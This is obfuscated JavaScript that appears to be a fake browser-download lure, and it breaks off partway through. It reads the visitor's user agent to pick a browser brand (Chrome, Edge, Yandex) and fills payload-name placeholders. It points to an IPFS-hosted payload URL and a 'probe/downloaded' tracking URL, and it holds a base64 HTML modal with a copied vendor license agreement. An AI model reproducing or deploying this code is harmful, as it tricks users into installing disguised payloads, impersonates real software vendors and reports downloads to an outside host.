function _0x517c(){const _0x290d76=['Chrome','1071124VYQhYZ','4952XyZdqx','35642100ZnWXYP','{PAYLOAD_NAME}','$COMPANY_UPPER','userAgent','Microsoft','https://gateway.pinata.cloud/ipfs/QmdSH2FVgg75VcpMhKJNCM7vf4W3b2N5RHNH6ew7X2BmDj','modal','12VbJRHN','$BROWSER_LOWER','Yandex','{PY_RECOMPILE}','661668ldHuTH','3839904QGhhyo','text/html','966866VkCSCB','https://gateway.ipfs.69.mu/probe/downloaded/','{PAYLOAD_FILE_INDEX}','test','$COMPANY','3199cDGxNk','Edge','substr','Arkady\x20Volozh','random','$BROWSER_UPPER','$COMPANY_LOWER','replaceAll','PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8dGl0bGU+JENPTVBBTlkgJEJST1dTRVI8L3RpdGxlPgogICAgPHN0eWxlPgogICAgICAgIGJ1dHRvbiwgaDEsIGgyLCBoMywgaDQsIGg1LCBoNiwgcCB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogaW5oZXJpdDsKICAgICAgICAgICAgcGFkZGluZzogMDsKICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgIH0KCiAgICAgICAgKiwgOmFmdGVyLCA6YmVmb3JlIHsKICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICB9CgogICAgICAgIGJvZHkgewogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICAgICAgZm9udC1mYW1pbHk6IHNlZ29lLXZmLCBzYW5zLXNlcmlmOwogICAgICAgICAgICBmb250LXdlaWdodDogNDAwOwogICAgICAgICAgICBsZXR0ZXItc3BhY2luZzogbm9ybWFsOwogICAgICAgICAgICBsaW5lLWhlaWdodDogbm9ybWFsOwogICAgICAgICAgICBmb250LXNpemU6IDFyZW07CiAgICAgICAgfQoKICAgICAgICAubW9kYWwgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxZW07CiAgICAgICAgICAgIGhlaWdodDogOTR2aDsKICAgICAgICAgICAgbWF4LWhlaWdodDogNTIwcHg7CiAgICAgICAgICAgIG1heC13aWR0aDogODAwcHg7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgICAgIHBhZGRpbmc6IDIuNWVtOwogICAgICAgICAgICB3aWR0aDogOTR2dzsKICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICBsZWZ0OiA1MCU7CiAgICAgICAgICAgIHRvcDogNDAlOwogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNDAlKTsKICAgICAgICAgICAgZ3JpZC1nYXA6IDEuNWVtOwogICAgICAgICAgICBkaXNwbGF5OiBncmlkOwogICAgICAgICAgICBmb250LXNpemU6IDFlbTsKICAgICAgICAgICAgZ2FwOiAxLjVlbTsKICAgICAgICAgICAgZ3JpZC10ZW1wbGF0ZS1hcmVhczoKICAgICAgICAiaGVhZGVyIGhlYWRlciIKICAgICAgICAicmVhZGVyIHJlYWRlciIKICAgICAgICAiaW5mbyBpbmZvIgogICAgICAgICJsYW5nIGFjY2VwdCI7CiAgICAgICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byAxZnI7CiAgICAgICAgICAgIGdyaWQtdGVtcGxhdGUtcm93czogYXV0byBtaW5tYXgoMCwgMWZyKSBhdXRvIGF1dG87CiAgICAgICAgfQoKICAgICAgICAub3ZlcmxheSB7CiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgdG9wOiAwOwogICAgICAgICAgICBsZWZ0OiAwOwogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsIDAsIDAsIDAuNSk7CiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7CiAgICAgICAgfQoKICAgICAgICAuaGVhZGVyIHsKICAgICAgICAgICAgZ3JpZC1hcmVhOiBoZWFkZXI7CiAgICAgICAgfQoKICAgICAgICAuaGVhZGVyIGgxIHsKICAgICAgICAgICAgZm9udC1zaXplOiBtYXgoMjFweCwgbWluKDEuODQyMTA1MjYzMnZ3LCAyOHB4KSk7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7CiAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAtLjAxMjVlbTsKICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDEuMTU7CiAgICAgICAgfQoKICAgICAgICAuYWNjZXB0LWJ1dHRvbiB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMxYTFhMWE7CiAgICAgICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMjBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgfQoKICAgICAgICAucmVhZGVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2YyZjJmMjsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMC41ZW07CiAgICAgICAgICAgIGNvbG9yOiByZ2JhKDI2LCAyNiwgMjYsIC43KTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgICAgICBvdmVyZmxvdy15OiBzY3JvbGw7CiAgICAgICAgICAgIG92ZXJmbG93LXg6IGhpZGRlbjsKICAgICAgICAgICAgcGFkZGluZzogMS41ZW07CiAgICAgICAgICAgIGdyaWQtYXJlYTogcmVhZGVyOwogICAgICAgIH0KCiAgICAgICAgLnJlYWRlciBwIHsKICAgICAgICAgICAgbWFyZ2luOiAwIDAgMC43NWVtOwogICAgICAgIH0KCiAgICAgICAgLmluZm8gewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOwogICAgICAgICAgICBnYXA6IDEuNWVtOwogICAgICAgICAgICBncmlkLWFyZWE6IGluZm87CiAgICAgICAgfQoKICAgICAgICAuYWNjZXB0IHsKICAgICAgICAgICAgYWxpZ24tc2VsZjogZW5kOwogICAgICAgICAgICBncmlkLWFyZWE6IGFjY2VwdDsKICAgICAgICAgICAganVzdGlmeS1zZWxmOiBlbmQ7CiAgICAgICAgfQoKICAgICAgICAuY2xvc2UgewogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHJpZ2h0OiAxLjVlbTsKICAgICAgICAgICAgdG9wOiAxLjVlbTsKICAgICAgICAgICAgei1pbmRleDogMTsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgYXBwZWFyYW5jZTogbm9uZTsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWZsZXg7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOwogICAgICAgICAgICBvdXRsaW5lOiBub25lOwogICAgICAgIH0KICAgIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjxkaXYgY2xhc3M9Im92ZXJsYXkiIGlkPSJvdmVybGF5Ij4KICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJjbG9zZSI+CiAgICAgICAgICAgIDxzdmcgdmlld0JveD0iMCAwIDIwMCAyMDAiIGhlaWdodD0iMS4yNWVtIiB3aWR0aD0iMS4yNWVtIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgICAgICAgICAgICAgPHBhdGggeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIgogICAgICAgICAgICAgICAgICAgICAgZD0ibTExMi43ODQgMTAwIDg0LjUxNyA4NC41MTdjMS44IDEuOCAyLjY5OSAzLjkzIDIuNjk5IDYuMzkycy0uOSA0LjU5My0yLjY5OSA2LjM5MmMtMS44IDEuOC0zLjkzIDIuNjk5LTYuMzkyIDIuNjk5cy00LjU5My0uOS02LjM5Mi0yLjY5OUwxMDAgMTEyLjc4NGwtODQuNTE3IDg0LjUxN2MtMS44IDEuOC0zLjkzIDIuNjk5LTYuMzkyIDIuNjk5cy00LjU5My0uOS02LjM5Mi0yLjY5OWMtMS44LTEuOC0yLjY5OS0zLjkzLTIuNjk5LTYuMzkycy45LTQuNTkzIDIuNjk5LTYuMzkyTDg3LjIxNiAxMDAgMi42OTkgMTUuNDgzQy44OTkgMTMuNjgzIDAgMTEuNTUzIDAgOS4wOTFzLjktNC41OTMgMi42OTktNi4zOTJDNC40OTkuODk5IDYuNjI5IDAgOS4wOSAwczQuNTkzLjkgNi4zOTIgMi42OTlMMTAwIDg3LjIxNmw4NC41MTctODQuNTE3YzEuOC0xLjggMy45My0yLjY5OSA2LjM5Mi0yLjY5OXM0LjU5My45IDYuMzkyIDIuNjk5YzEuOCAxLjggMi42OTkgMy45MyAyLjY5OSA2LjM5MnMtLjkgNC41OTMtMi42OTkgNi4zOTJMMTEyLjc4NCAxMDBaIgogICAgICAgICAgICAgICAgICAgICAgZmlsbD0iY3VycmVudENvbG9yIiBmaWxsLXJ1bGU9Im5vbnplcm8iPjwvcGF0aD4KICAgICAgICAgICAgPC9zdmc+CiAgICAgICAgPC9idXR0b24+CiAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj48aDE+RG93bmxvYWQgJENPTVBBTlkgJEJST1dTRVI8L2gxPjwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJyZWFkZXIiPgogICAgICAgICAgICA8ZGl2IGRhdGEtY3k9ImV1bGEtdGVybXMtY29udGFpbmVyIiBkYXRhLXRlcm1zLWxhbmc9ImVuIj4KICAgICAgICAgICAgICAgIDxkaXY+PHA+ICRDT01QQU5ZX1VQUEVSIFNPRlRXQVJFIExJQ0VOU0UgVEVSTVMgPC9wPgogICAgICAgICAgICAgICAgICAgIDxwPiAkQ09NUEFOWV9VUFBFUiAkQlJPV1NFUl9VUFBFUiA8L3A+CiAgICAgICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGhyPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxwPiBBZnRlciBpbnN0YWxsYXRpb24sIHRoZXNlIHRlcm1zIGFyZSBhbHNvIHZpZXdhYmxlIGluICRDT01QQU5ZICRCUk9XU0VSIGF0CiAgICAgICAgICAgICAgICAgICAgICAgICRCUk9XU0VSX0xPV0VSOi8vdGVybXMuIDwvcD4KICAgICAgICAgICAgICAgICAgICA8cD4gVGhlc2UgbGljZW5zZSB0ZXJtcyBhcmUgYW4gYWdyZWVtZW50IGJldHdlZW4geW91IGFuZCAkQ09NUEFOWSBDb3Jwb3JhdGlvbiAob3Igb25lIG9mIGl0cwogICAgICAgICAgICAgICAgICAgICAgICBhZmZpbGlhdGVzKS4gVGhleSBhcHBseSB0byB0aGlzIHNvZnR3YXJlIHB1Ymxpc2hlZCBieSAkQ09NUEFOWSBhbmQgYW55IHNvZnR3YXJlIHVwZGF0ZXMKICAgICAgICAgICAgICAgICAgICAgICAgKOKAnFNvZnR3YXJl4oCdKSAoZXhjZXB0IHRvIHRoZSBleHRlbnQgc3VjaCBTb2Z0d2FyZSBvciB1cGRhdGVzIGFyZSBhY2NvbXBhbmllZCBieSBuZXcgb3IgYWRkaXRpb25hbAogICAgICAgICAgICAgICAgICAgICAgICB0ZXJtcywgaW4gd2hpY2ggY2FzZSB0aG9zZSBkaWZmZXJlbnQgdGVybXMgYXBwbHkgcHJvc3BlY3RpdmVseSBhbmQgZG8gbm90IGFsdGVyIHlvdXIgb3IKICAgICAgICAgICAgICAgICAgICAgICAgJENPTVBBTlnigJlzIHJpZ2h0cyByZWxhdGluZyB0byBwcmUtdXBkYXRlZCBTb2Z0d2FyZSApLiBJRiBZT1UgQ09NUExZIFdJVEggVEhFU0UgTElDRU5TRSBURVJNUywKICAgICAgICAgICAgICAgICAgICAgICAgWU9VIEhBVkUgVEhFIFJJR0hUUyBCRUxPVy4gQlkgRE9XTkxPQURJTkcgT1IgVVNJTkcgVEhFIFNPRlRXQVJFLCBZT1UgQUNDRVBUIFRIRVNFIFRFUk1TLiBJRiBZT1UKICAgICAgICAgICAgICAgICAgICAgICAgRE8gTk9UIEFDQ0VQVCBUSEVNLCBZT1UgSEFWRSBOTyBSSUdIVCBUTyBBTkQgTVVTVCBOT1QgRE9XTkxPQUQgT1IgVVNFIFRIRSBTT0ZUV0FSRS4gPC9wPgogICAgICAgICAgICAgICAgICAgIDxkaXY+PGgxPiAxLiAmbmJzcDsmbmJzcDsmbmJzcDsgJENPTVBBTllfVVBQRVIgJEJST1dTRVJfVVBQRVIgRk9SIFdJTkRPV1MgREVWSUNFUyA8L2gxPjwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXY+PGgyPiAxLjEuICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBXaW5kb3dzIExpY2Vuc2UgVGVybXMgPC9oMj4gLiBZb3VyIGluc3RhbGxhdGlvbgogICAgICAgICAgICAgICAgICAgICAgICBhbmQgdXNlIG9mIHRoZSBTb2Z0d2FyZSBvbiBhbnkgV2luZG93cyBwbGF0Zm9ybSBzaGFsbCBiZSBnb3Zlcm5lZCBieSB0aGUgbGljZW5zZSB0ZXJtcyBmb3IgeW91cgogICAgICAgICAgICAgICAgICAgICAgICAkQ09NUEFOWSBXaW5kb3dzIE9wZXJhdGluZyBTeXN0ZW0gc29mdHdhcmUgKOKAnFdpbmRvd3MgTGljZW5zZSBUZXJtc+KAnSkgb24gd2hpY2ggeW91IGFyZSB1c2luZyB0aGUKICAgICAgICAgICAgICAgICAgICAgICAgU29mdHdhcmUsIGFuZCB0aG9zZSB0ZXJtcyBhcmUgaW5jb3Jwb3JhdGVkIGJ5IHJlZmVyZW5jZS4gSWYgdGhlIFNvZnR3YXJlIGlzIGRvd25sb2FkZWQgZnJvbQogICAgICAgICAgICAgICAgICAgICAgICAkQ09NUEFOWSBhbmQgbGFiZWxlZCBwcmV2aWV3LCBpbnNpZGVyLCBiZXRhIG9yIHByZS1yZWxlYXNlLCBvciBpcyBvdGhlcndpc2UgaW5kaWNhdGVkIGFzIG5vdAogICAgICAgICAgICAgICAgICAgICAgICBiZWluZyBhIGZpbmFsIHJldGFpbCB2ZXJzaW9uIG9mIHRoZSBTb2Z0d2FyZSwgdGhlIGFwcGxpY2FibGUgdGVybXMgaW4gU2VjdGlvbiAxLjIgYWxzbyBhcHBseSB0bwogICAgICAgICAgICAgICAgICAgICAgICB5b3VyIHVzZSBvZiB0aGUgU29mdHdhcmUuIFNlY3Rpb24gMS4zIGFwcGxpZXMgdG8geW91ciB1c2Ugb2Ygb3RoZXIgc2VydmljZXMgdGhhdCBtYXkgYmUgbWFkZQogICAgICAgICAgICAgICAgICAgICAgICBhdmFpbGFibGUgZm9yIHVzZSB0aHJvdWdoIHlvdXIgdXNlIG9mIHRoZSBTb2Z0d2FyZS4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMz4gMS4xLjEuICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyBVcGRhdGVzIDwvaDM+IC4gTm90d2l0aHN0YW5kaW5nIGFib3ZlIFNlY3Rpb24KICAgICAgICAgICAgICAgICAgICAgICAgMS4xIGFzIGFwcGxpZWQgdG8gV2luZG93cyA3LCA4LCBhbmQgOC4xLCB0aGUgdGVybXMgb2YgdGhlIGFwcGxpY2FibGUgV2luZG93cyBMaWNlbnNlIFRlcm1zLCBvcgogICAgICAgICAgICAgICAgICAgICAgICBhbnkgV2luZG93cyB1cGRhdGUgc2V0dGluZ3MgeW91IGhhdmUgY29uZmlndXJlZCwgdGhlIFNvZnR3YXJlIHBlcmlvZGljYWxseSBjaGVja3MgZm9yIHVwZGF0ZXMsCiAgICAgICAgICAgICAgICAgICAgICAgIGFuZCBkb3dubG9hZHMgYW5kIGluc3RhbGxzIHRoZW0gZm9yIHlvdS4gWW91IG1heSBvYnRhaW4gdXBkYXRlcyBvbmx5IGZyb20gJENPTVBBTlkgb3IKICAgICAgICAgICAgICAgICAgICAgICAgYXV0aG9yaXplZCBzb3VyY2VzLCBhbmQgJENPTVBBTlkgbWF5IG5lZWQgdG8gdXBkYXRlIHlvdXIgc3lzdGVtIHRvIHByb3ZpZGUgeW91IHdpdGggdGhvc2UKICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlcy4gQnkgYWNjZXB0aW5nIHRoaXMgYWdyZWVtZW50LCB5b3UgYWdyZWUgdG8gcmVjZWl2ZSB0aGVzZSB0eXBlcyBvZiBhdXRvbWF0aWMgdXBkYXRlcwogICAgICAgICAgICAgICAgICAgICAgICB3aXRob3V0IGFueSBhZGRpdGlvbmFsIG5vdGljZS4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2PjxoMj4gMS4yLiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgUHJldmlld3MgPC9oMj4gLiAkQ09NUEFOWSBtYXkgbWFrZSBwcmV2aWV3LAogICAgICAgICAgICAgICAgICAgICAgICBpbnNpZGVyLCBiZXRhIG9yIG90aGVyIHByZS1yZWxlYXNlIHZlcnNpb25zIG9mIHRoZSBTb2Z0d2FyZSAo4oCcUHJldmlld3PigJ0pIGF2YWlsYWJsZSB0byB5b3UuIFlvdQogICAgICAgICAgICAgICAgICAgICAgICBtYXkgdXNlIFByZXZpZXdzIG9ubHkgdXAgdG8gdGhlIFNvZnR3YXJl4oCZcyBleHBpcmF0aW9uIGRhdGUgKGlmIGFueSkgYW5kIHNvIGxvbmcgYXMgeW91IGNvbXBseQogICAgICAgICAgICAgICAgICAgICAgICB3aXRoIHRoZSBhcHBsaWNhYmxlIFdpbmRvd3MgTGljZW5zZSBUZXJtcy4gUHJldmlld3MgYXJlIGV4cGVyaW1lbnRhbCwgd2hpY2ggbWVhbnMgdGhhdCBQcmV2aWV3cwogICAgICAgICAgICAgICAgICAgICAgICBtYXkgbm90IG9wZXJhdGUgY29ycmVjdGx5IGFuZCBtYXkgYmUgc3Vic3RhbnRpYWxseSBkaWZmZXJlbnQgZnJvbSB0aGUgY29tbWVyY2lhbGx5IHJlbGVhc2VkCiAgICAgICAgICAgICAgICAgICAgICAgIHZlcnNpb24uIEluIHNvbWUgaW5zdGFuY2VzLCBQcmV2aWV3cyBtYXkgZXZlbiBpbmFkdmVydGVudGx5IGRhbWFnZSB5b3VyIGRldmljZSByZW5kZXJpbmcgaXQKICAgICAgICAgICAgICAgICAgICAgICAgaW5vcGVyYWJsZSBvciBjYXVzZSBvY2Nhc2lvbmFsIGNyYXNoZXMsIGRhdGEgbG9zcyBvciBhcHBzIHRvIHN0b3Agd29ya2luZyBvciBiZSBkZWxldGVkLiBUbwogICAgICAgICAgICAgICAgICAgICAgICByZWNvdmVyLCB5b3UgbWF5IGhhdmUgdG8gcmVpbnN0YWxsIHlvdXIgYXBwcywgdGhlIG9wZXJhdGluZyBzeXN0ZW0gb3IgcmUtZmxhc2ggeW91ciBkZXZpY2UuIEluCiAgICAgICAgICAgICAgICAgICAgICAgIHNvbWUgaW5zdGFuY2VzLCB5b3UgbWF5IG5vdCBiZSBhYmxlIHRvIGdvIGJhY2sgdG8geW91ciBwcmlvciB2ZXJzaW9uIG9mIHRoZSBTb2Z0d2FyZS4gQmVjYXVzZQogICAgICAgICAgICAgICAgICAgICAgICBQcmV2aWV3cyBtYXkgY29udGFpbiBtb3JlIGVycm9ycyBvciBpbmFjY3VyYWNpZXMsIHlvdSBzaG91bGQgYmFjay11cCB5b3VyIGRldmljZSBiZWZvcmUKICAgICAgICAgICAgICAgICAgICAgICAgaW5zdGFsbGluZyBhbnkgUHJldmlld3MuIFdlIHJlY29tbWVuZCBpbnN0YWxsaW5nIFByZXZpZXdzIG9uIG5vbi1wcm9kdWN0aW9uIGRldmljZXMgdGhhdCBhcmUgbm90CiAgICAgICAgICAgICAgICAgICAgICAgIGJ1c2luZXNzIGNyaXRpY2FsIGJlY2F1c2UgeW91IGFyZSBtb3JlIGxpa2VseSB0byBleHBlcmllbmNlIGNyYXNoZXMsIHNldHRpbmcgYW5kIHBvbGljeSBjaGFuZ2VzLAogICAgICAgICAgICAgICAgICAgICAgICBsb3NzIG9mIGRhdGEgb3IgYXBwcywgZmVhdHVyZSBhbmQgZnVuY3Rpb25hbGl0eSBjaGFuZ2VzLCBjYXVzZSBvdGhlciBhcHBzIHRvIHN0b3Agd29ya2luZywgYmUKICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlZCwgb3IgcmVtb3ZlZCBmcm9tIHlvdXIgZGV2aWNlIGF1dG9tYXRpY2FsbHkgd2l0aG91dCBub3RpY2UgYW5kIG90aGVyIHBvdGVudGlhbCBpc3N1ZXMuIFdlCiAgICAgICAgICAgICAgICAgICAgICAgIGhpZ2hseSByZWNvbW1lbmQgdGhhdCB5b3UgZG8gbm90IGluc3RhbGwgdGhlIFByZXZpZXdzIG9uIGFueSBzeXN0ZW1zIHlvdSBkb27igJl0IGRpcmVjdGx5IGNvbnRyb2wKICAgICAgICAgICAgICAgICAgICAgICAgb3IgdGhhdCB5b3Ugc2hhcmUgd2l0aCBvdGhlcnMuIE5vdHdpdGhzdGFuZGluZyBhbnl0aGluZyB0byB0aGUgY29udHJhcnkgaW4gdGhpcyBhZ3JlZW1lbnQsCiAgICAgICAgICAgICAgICAgICAgICAgIFByZXZpZXdzIGFyZSBub250cmFuc2ZlcmFibGUgYW5kIHByb3ZpZGVkIOKAnEFTIElTLuKAnSBCeSBpbnN0YWxsaW5nIFByZXZpZXdzIG9uIHlvdXIgZGV2aWNlLCB5b3UKICAgICAgICAgICAgICAgICAgICAgICAgbWF5IHZvaWQgb3IgaW1wYWN0IHlvdXIgZGV2aWNlIHdhcnJhbnR5IGFuZCBtYXkgbm90IGJlIGVudGl0bGVkIHRvIHN1cHBvcnQgZnJvbSB0aGUgbWFudWZhY3R1cmVyCiAgICAgICAgICAgICAgICAgICAgICAgIG9mIHlvdXIgZGV2aWNlIG9yIG5ldHdvcmsgb3BlcmF0b3IsIGlmIGFwcGxpY2FibGUuICRDT01QQU5ZIG1heSBub3QgcHJvdmlkZSBzdXBwb3J0IHNlcnZpY2VzCiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBQcmV2aWV3cy4gSWYgeW91IHByb3ZpZGUgJENPTVBBTlkgY29tbWVudHMsIHN1Z2dlc3Rpb25zIG9yIG90aGVyIGZlZWRiYWNrIGFib3V0IHRoZSBQcmV2aWV3CiAgICAgICAgICAgICAgICAgICAgICAgICjigJxTdWJtaXNzaW9u4oCdKSwgeW91IGdyYW50ICRDT01QQU5ZIGFuZCBpdHMgcGFydG5lcnMgcmlnaHRzIHRvIHVzZSB0aGUgU3VibWlzc2lvbiBpbiBhbnkgd2F5IGFuZAogICAgICAgICAgICAgICAgICAgICAgICBmb3IgYW55IHB1cnBvc2UuIFlvdSB3aWxsIG5vdCBnaXZlIGEgU3VibWlzc2lvbiB0aGF0IGlzIHN1YmplY3QgdG8gYSBsaWNlbnNlIHRoYXQgcmVxdWlyZXMKICAgICAgICAgICAgICAgICAgICAgICAgJENPTVBBTlkgdG8gbGljZW5zZSBpdHMgU29mdHdhcmUgb3IgZG9jdW1lbnRhdGlvbiB0byB0aGlyZCBwYXJ0aWVzIGJlY2F1c2UgJENPTVBBTlkgaW5jbHVkZXMKICAgICAgICAgICAgICAgICAgICAgICAgeW91ciBTdWJtaXNzaW9uIGluIHRoZW0uIFRoZXNlIHJpZ2h0cyBzdXJ2aXZlIHRoaXMgYWdyZWVtZW50LiAkQ09NUEFOWSBtYXkgY2hhbmdlIG9yCiAgICAgICAgICAgICAgICAgICAgICAgIGRpc2NvbnRpbnVlIHRoZSBQcmV2aWV3cywgb3IgdGVybWluYXRlIHlvdXIgYWNjZXNzIHRvIHRoZSBQcmV2aWV3cywgYXQgYW55IHRpbWUgd2l0aG91dCBub3RpY2UKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIGZvciBhbnkgcmVhc29uIHdoYXRzb2V2ZXIuIFlvdSBtYXkgc3RvcCB1c2luZyB0aGUgUHJldmlld3MgYXQgYW55IHRpbWUgYnkgdW4taW5zdGFsbGluZyBhbmQKICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRpbmcgYWxsIGNvcGllcyBvZiBhbnkgUHJldmlld3MuCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdj48aDM+IDEuMi4xLiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgRGF0YSBDb2xsZWN0aW9uIGZvciBQcmV2aWV3cyA8L2gzPiAuIFByZXZpZXdzCiAgICAgICAgICAgICAgICAgICAgICAgIG1heSBub3QgaGF2ZSBpbmNsdWRlZCwgcmVkdWNlZCwgb3IgZGlmZmVyZW50IHNlY3VyaXR5LCBwcml2YWN5LCBhY2Nlc3NpYmlsaXR5LCBhdmFpbGFiaWxpdHkgYW5kCiAgICAgICAgICAgICAgICAgICAgICAgIHJlbGF0YWJpbGl0eSBzdGFuZGFyZHMgcmVsYXRpdmUgdG8gY29tbWVyY2lhbGx5IHByb3ZpZGVkIHNlcnZpY2VzIGFuZCBzb2Z0d2FyZS4gRm9yIFByZXZpZXdzCiAgICAgICAgICAgICAgICAgICAgICAgIGNvdmVyZWQgdW5kZXIgU2VjdGlvbiAxLjIsIHByaXZhY3kgYW5kIGZlYXR1cmUgc2V0dGluZ3MgbWF5IG5vdCB3b3JrIGFzIGludGVuZGVkLCBhbmQgdGhlCiAgICAgICAgICAgICAgICAgICAgICAgIFByZXZpZXdzIG1heSBub3Qgd29yayB3aXRoIG90aGVyIFdpbmRvd3MgcHJpdmFjeSBzZXR0aW5ncywgaW5jbHVkaW5nIHRoZSBkaWFnbm9zdGljIGRhdGEKICAgICAgICAgICAgICAgICAgICAgICAgc2V0dGluZ3MgZm9yIFdpbmRvd3MgMTAgLyBXaW5kb3dzIDExLiBEYXRhIGNvbGxlY3RlZCBmcm9tIHlvdXIgdXNlIG9mIHRoZSBQcmV2aWV3cywgaW5jbHVkaW5nCiAgICAgICAgICAgICAgICAgICAgICAgIGRpYWdub3N0aWMsIHRlY2huaWNhbCwgZXJyb3IgcmVwb3J0cywgY3Jhc2ggZHVtcHMgYW5kIG90aGVyIHJlbGF0ZWQgZGF0YSBmcm9tIHlvdXIgZGV2aWNlcwogICAgICAgICAgICAgICAgICAgICAgICBydW5uaW5nIFByZXZpZXdzIG1heSBiZSB1c2VkLCBzdG9yZWQsIHByb2Nlc3NlZCBhbmQgYW5hbHl6ZWQgdG8ga2VlcCBXaW5kb3dzIGFuZCB0aGUgUHJldmlld3MgdXAKICAgICAgICAgICAgICAgICAgICAgICAgdG8gZGF0ZSwgc2VjdXJlLCBhbmQgb3BlcmF0aW5nIHByb3Blcmx5LiBJdCBhbHNvIGhlbHBzIHVzIGltcHJvdmUgJENPTVBBTlkgcHJvZHVjdHMgYW5kCiAgICAgICAgICAgICAgICAgICAgICAgIHNlcnZpY2VzIGFuZCBtYXkgYmUgdXNlZCBmb3IgYW55IG90aGVyIHB1cnBvc2UgZGVzY3JpYmVkIGluIHRoZSAkQ09NUEFOWSBQcml2YWN5IFN0YXRlbWVudC4gSWYKICAgICAgICAgICAgICAgICAgICAgICAgeW91IGRpc2FibGUgZGF0YSBjb2xsZWN0aW9uIHRocm91Z2ggY29udHJvbHMgYXZhaWxhYmxlIGluIHRoZSBQcmV2aWV3cywgd2UgbWF5IGNvbnRpbnVlIHRvCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbGxlY3QgZGlhZ25vc3RpYyBpbmZvcm1hdGlvbiBhYm91dCB0aGUgZG93bmxvYWQsIHRoZSBpbnN0YWxsYXRpb24gYW5kIHJlbW92YWwgb2YgdGhlIFByZXZpZXdzCiAgICAgICAgICAgICAgICAgICAgICAgIGFuZCDigJxiYXNpY+KAnSBkYXRhIGFzIGRlc2NyaWJlZCBpbiB0aGUgV2luZG93cyBEaWFnbm9zdGljcyBzZWN0aW9uIG9mIHRoZSAkQ09NUEFOWSBQcml2YWN5CiAgICAgICAgICAgICAgICAgICAgICAgIFN0YXRlbWVudC4gVGhlIDxzdHJvbmc+ICRDT01QQU5ZIFByaXZhY3kgU3RhdGVtZW50IDwvc3Ryb25nPiAoIDxhCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHJlZj0iaHR0cHM6Ly9nby4kQ09NUEFOWV9MT1dFUi5jb20vZndsaW5rLz9MaW5rSWQ9NTIxODM5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGh0dHBzOi8vZ28uJENPTVBBTllfTE9XRVIuY29tL2Z3bGluay8/TGlua0lkPTUyMTgzOSA8L2E+ICksIGFuZCB0aGlzIHBhcmFncmFwaCwgYXBwbGllcyB0bwogICAgICAgICAgICAgICAgICAgICA